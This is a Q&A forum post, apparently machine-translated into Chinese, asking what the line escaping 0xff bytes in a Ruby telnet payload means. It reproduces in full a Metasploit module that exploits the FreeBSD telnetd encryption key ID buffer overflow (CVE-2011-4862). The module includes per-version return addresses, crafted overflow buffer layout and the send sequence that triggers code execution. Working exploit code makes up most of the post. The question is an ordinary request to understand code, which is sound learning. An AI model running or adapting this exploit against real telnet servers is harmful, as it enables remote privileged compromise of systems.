ruby penc = payload.encoded.gsub("\xff", "\xff\xff")

问题描述

我有一个利用 ruby​​ 代码来利用密钥溢出来利用人才服务，但我不明白这一行是什么意思：penc = payload.encoded.gsub("\xff","\xff\xff")

在此处输入代码 ## # 这个模块需要 Metasploit: https://metasploit.com/download # 当前来源：https://github.com/rapid7/metasploit-framework ##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::Telnet
  include Msf::Exploit::BruteTargets

  def initialize(info = {})
    super(update_info(info,'Name'           => 'FreeBSD Telnet Service Encryption Key ID Buffer Overflow','Description'    => %q{
          This module exploits a buffer overflow in the encryption option handler of the
        FreeBSD telnet service.
        },'Author'         => [ 'Jaime Penalba Estebanez <jpenalbae[at]gmail.com>','Brandon Perry <bperry.volatile[at]gmail.com>','Dan Rosenberg','hdm' ],'License'        => MSF_LICENSE,'References'     =>
        [
          ['CVE','2011-4862'],['OSVDB','78020'],['BID','51182'],['EDB','18280']
        ],'Privileged'     => true,'Platform'       => 'bsd','Payload'        =>
        {
          'Space'       => 128,'BadChars'    => "\x00",},'Targets'        =>
        [
          [ 'Automatic',{ } ],[ 'FreeBSD 8.2',{ 'Ret' => 0x0804a8a9 } ],# call edx
          [ 'FreeBSD 8.1',{ 'Ret' => 0x0804a889 } ],# call edx
          [ 'FreeBSD 8.0',{ 'Ret' => 0x0804a869 } ],# call edx
          [ 'FreeBSD 7.3/7.4',{ 'Ret' => 0x08057bd0 } ],# call edx
          [ 'FreeBSD 7.0/7.1/7.2',{ 'Ret' => 0x0804c4e0 } ],# call edx
          [ 'FreeBSD 6.3/6.4',{ 'Ret' => 0x0804a5b4 } ],# call edx
          [ 'FreeBSD 6.0/6.1/6.2',{ 'Ret' => 0x08052925 } ],# call edx
          [ 'FreeBSD 5.5',{ 'Ret' => 0x0804cf31 } ],# call edx
          # [ 'FreeBSD 5.4',{ 'Ret' => 0x08050006 } ] # Version 5.4 does not seem to be exploitable (the crypto() function is not called)
          [ 'FreeBSD 5.3',{ 'Ret' => 0x8059730 } ],# direct return
          # Versions 5.2 and below do not support encyption
        ],'DefaultTarget'  => 0,'DisclosureDate' => '2011-12-23'))
  end

  def exploit_target(t)

    connect
    banner_sanitized = Rex::Text.to_hex_ascii(banner.to_s)
    vprint_status(banner_sanitized)

    enc_init      = "\xff\xfa\x26\x00\x01\x01\x12\x13\x14\x15\x16\x17\x18\x19\xff\xf0"
    enc_keyid     = "\xff\xfa\x26\x07"
    end_suboption = "\xff\xf0"

    # Telnet protocol requires 0xff to be escaped with another
    penc = payload.encoded.gsub("\xff","\xff\xff")

    key_id = Rex::Text.rand_text_alphanumeric(400)
    key_id[ 0,2] = "\xeb\x76"
    key_id[72,4] = [ t['Ret'] - 20 ].pack("V")
    key_id[76,4] = [ t['Ret'] ].pack("V")

    # Some of these bytes can get mangled,jump over them
    key_id[80,112]  = Rex::Text.rand_text_alphanumeric(112)

    # Bounce to the real payload (avoid corruption)
    key_id[120,2] = "\xeb\x46"

    # The actual payload
    key_id[192,penc.length] = penc

    # Create the Key ID command
    sploit = enc_keyid + key_id + end_suboption

    # Initiate encryption
    sock.put(enc_init)

    # Wait for a successful response
    loop do
      data = sock.get_once(-1,5) rescue nil
      if not data
        fail_with(Failure::Unknown,"This system does not support encryption")
      end
      break if data.index("\xff\xfa\x26\x02\x01")
    end

    # The first request smashes the pointer
    print_status("Sending first payload")
    sock.put(sploit)

    # Make sure the server replied to the first request
    data = sock.get_once(-1,5)
    unless data
      print_status("Server did not respond to first payload")
      return
    end

    # Some delay between each request seems necessary in some cases
    ::IO.select(nil,nil,0.5)

    # The second request results in the pointer being called
    print_status("Sending second payload...")
    sock.put(sploit)

    handler

    ::IO.select(nil,0.5)
    disconnect
  end
end

could anyone help me to understand the meaning?

解决方法

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